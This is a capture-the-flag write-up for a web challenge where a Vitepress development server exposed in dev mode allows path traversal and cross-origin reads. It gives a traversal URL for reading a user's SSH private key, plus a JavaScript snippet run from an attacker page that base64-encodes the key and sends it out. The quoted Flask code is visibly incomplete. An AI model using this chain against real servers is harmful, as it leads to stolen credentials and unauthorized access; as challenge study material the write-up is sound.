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Directory traversal in insecure Vitepress development server leads to information disclosure through SSRF


I made a mobile (apple watch miniminimini series 1337) viewer on my personal server.


  • ssh -p2222


  • There is a genflag server which you are supposed to SSRF

  • However, the remote address and user agent are checked so you can't do it directly from mobile-viewer

  • The pages are rendered as screenshots

def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag =
        return flag
        return "Nope.."

From mobile-viewer, we need to request http://genflag/flag from website. This can be done from /home/stypr/readflag on website.

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

Refer to the website source. The website server runs yarn dev, which runs vitepress dev src.

Vitepress is run on dev mode. I found that this enables CORS, allowing us to perform a CSRF to exfiltrate data. Furthermore, I found that there was a path traversal vulnerability, allowing us to get the SSH key: http://website/../../../../../home/stypr/.ssh/id_rsa

From mobile-viewer, we can make a request to our attacker site, which contains:

    .then(resp => resp.text())
    .then(data => fetch('' + btoa(data)))

Get the private key and SSH into the server to get the flag:

$ ssh -p2222 -i id_rsa 

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